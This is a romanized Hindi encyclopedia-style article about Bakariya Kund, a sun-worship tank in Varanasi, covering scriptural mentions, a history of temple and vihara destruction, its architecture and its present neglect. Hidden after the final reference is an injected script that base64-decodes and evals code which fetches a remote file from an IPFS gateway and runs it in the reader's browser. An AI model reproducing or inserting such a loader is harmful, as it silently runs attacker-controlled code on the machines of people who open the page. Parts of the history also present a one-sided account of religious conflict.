बकरिया कुण्ड, वाराणसी
[[chitr:Bakria-kund.jpg|thumb|bakariya kund, varanasi]] bakariya kund uttar pradesh rajy ke varanasi nagar mean sthit hai. yah hinduoan ka pavitr soory tirth hai. yah kund aleepur kshetr mean sthit bakariya kund muhalle mean hai jise aj bol-chal ki bhasha mean bakariya kund ke nam se jana jata hai. isako uttarark ya barkari kund bhi kaha jata hai.
kashi khand mean ullekh
bakariya kund ka ullekh kashi khand adhyay 4 shlok 72 mean hai.
athottarasyamashayan kundamakarivyamuttamamh.
tatr namnottararken rashmimali vyavasthitah..
tapayanaduahkhas d ghatan sadhoonapyayayanh raviah.
uttararko mahateja kashian rakshati sarvada..[1]
uttararkasy devasy pushye masi khedine.
karya sanvatsari yatra n taiah kashi phalepsubhiah.. [2]
itihas
is dharmik v prachin virasat ke rakh-rakhav ki ghor upeksha ke karan ye kund apana astitv khote ja rahe haian. ark shabd soory dev se sambandh rakhata hai. yahaan poorv kal mean soory-pooja hetu vishal mandir tha. bad mean bauddhakal mean bauddh-vihar ke roop mean prayog kiya gaya. yahaan sanh 1375 ee. firoj shah tugalaq ne is aitihasik mandir ko dhvast kiya tha. gah davaloan ke yug se hi is ilake mean musalamanoan ki bastiyaan bas gayi thi. yahaan sanh 1375 ee. ki firoj shah tugalaq ki shila lipi hai. isake nikat bauddh chaity dikhaee p data hai. itihasakaroan ka kahana hai ki bakariya kund (barkari kund) ke bagal mean pahale ‘bauddh vihar’ tha. aurangajeb tatha any akramanoan se usaki yah durgati banaee gee.
kee varsh poorv is kund se krishna govardhanadhari ki ek atyant sundar gupt kalin moorti mili thi, jise bharat kala bhavan, kashi hindoo vishvavidyalay mean rakha gaya hai. itihasakaroan ka kahana hai ki mugaloan ke hamaloan ke poorv yahaan ek vishal bhavy shrikrishna ka mandir tha jisaki moortiyaan khandit kar kund mean pheank di gee thian. pas hi kee bhavanoan ke khandahar haian jo niahsandeh bauddh viharoan ke avashesh haian. in mandiroan mean sarvashreshth vah mandir hai jise musalamanoan ne masjid bana liya. isake 42 khambhe ek se lagate haian, manoan abhi-abhi bane haian. bauddhoan ke in viharoan ko is dasha mean parinit karane ka shrey musalaman akramanakariyoan ko hai.[3] sheriang ke anusar tenasaang ne jin 30 bauddh viharoan ka ullekh kiya hai, unamean kuchh kund ke kinare the. inamean se anek ke chihn aj bhi milate haian. anuman kiya jata hai ki isaka nirman gupt-kal mean hua tha. gaji miyaan ka majar banane ke pahale yahaan hinduoan ka mandir tha. parampara se vahaan chhoti kaum ke log poojan karane ate haian. bad mean majar banane par musalamanoan ne ibadat karani shuroo ki. dar-asal hindoo soory-pooja karane jate haian. jaisa ki baharaich mean gaji miyaan ke majar ke pas balaki rrishi ka ashram tha aur vahian soory-mandir bhi tha. bakariya kund par auratean habuati haian aur daphali baja bajate huye gaji miyaan shahadat gate haian. koee nariyal chadhata hai aur koee murga. is mele mean adhikatar mahilaoan ki bhi d hoti hai-kashi mean ek lokokti chal p di hai-‘gaji miyaan b de lahari, bolavean ghar-ghar ki mehari’.
sthapaty kala
ath khambhevali masjid ka nirikshan karane se jnat hota hai ki vah kafi prachin hai. samane ke char stambh niche asht pahale bich mean 16 pahale evan oopar ekadam golakar hai. yahi ath stambh prachin aur sundar dhang se bane haian. bagal ki masjid mean bhi char prachin stambh haian. ve charoan chaukor haian, lekin unamean ek stambh ki nakkashi b de sundar dhang se ki gee hai. masjid ka pravesh dvar bhi sundar bana hai. us par khude shilp kary ko dekhane se hi bauddh shilp ki anayas anuman hone lagata hai. dakshin-poorv ki masjid bhi chaukor chaity ke anuroop hai. isaka gumbaj mugaloan dvara nirmit hai, stambh bauddh kal ke bane haian. isaka nimn bhag saral evan chaukor hai lekin upar ka aansh saranath ke stoop ki bhaanti vishisht hai. isake pashchim mean battis khambha namak ek vishisht gumbaj mandir hai, gumbaj shayad musalamanoan dvara kuchh aanshoan mean parivartit kar diya gaya hai lekin stambh sabhi prachin kal ke haian. isake tinoan taraph baramadean haian.
vartaman mean
vartaman mean is kund ka svaroop kafi badal gaya hai. is kund ke as-pas ab kee avasoan ka nirman ho gaya hai jisake karan kund ka dayara chhota ho gaya hai. phir bhi usamean pani ab bhi barakarar hai jisamean jalakumbhi maujood hai. is kund mean shahar ke sivar v ganda pani ke girane se isaka upayog band kar diya gaya hai. kund ki charoan taraph gandagi barakarar hai. isaki saphaee ke prati n to nagar nigam prashasan ka dhyan hai aur n kshetriy nagarikoan ka. khali jamin par avaidh kabje jari haian. n ab tak isaki vastavik paimaish karakar suraksha ki ja rahi hai aur n hi isaka sundarikaran kiya ja raha hai. as-pas ke gharoan se inamean koo de p dane ke karan bhi isaki dasha atyant kharab ho gee hai. ajakal dakshin or ek sthan par tin masjidean kh di haian. usake charoan taraph qabristan hai. samane niche tarane ke liye bhagn star aur jirn sopan shreni ke chi aj bhi maujood haian. pashchim or ke masjid ke pragann mean ek prastar-stambh dekhane se jnat hota hai ki yah poorv kal mean dip stambh raha hoga. aj bhi yahaan ke log ukt stambh par dipak jalate haian.[4]
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tika tippani aur sandarbh
- ↑ (kashi khand, 47/57)
- ↑ (kashi khand, 47/57)
- ↑ varanasi ka prachin itihas-254 kashi ka itihas prisht 99
- ↑ kuand v talab (hiandi) kashi katha. abhigaman tithi: 11 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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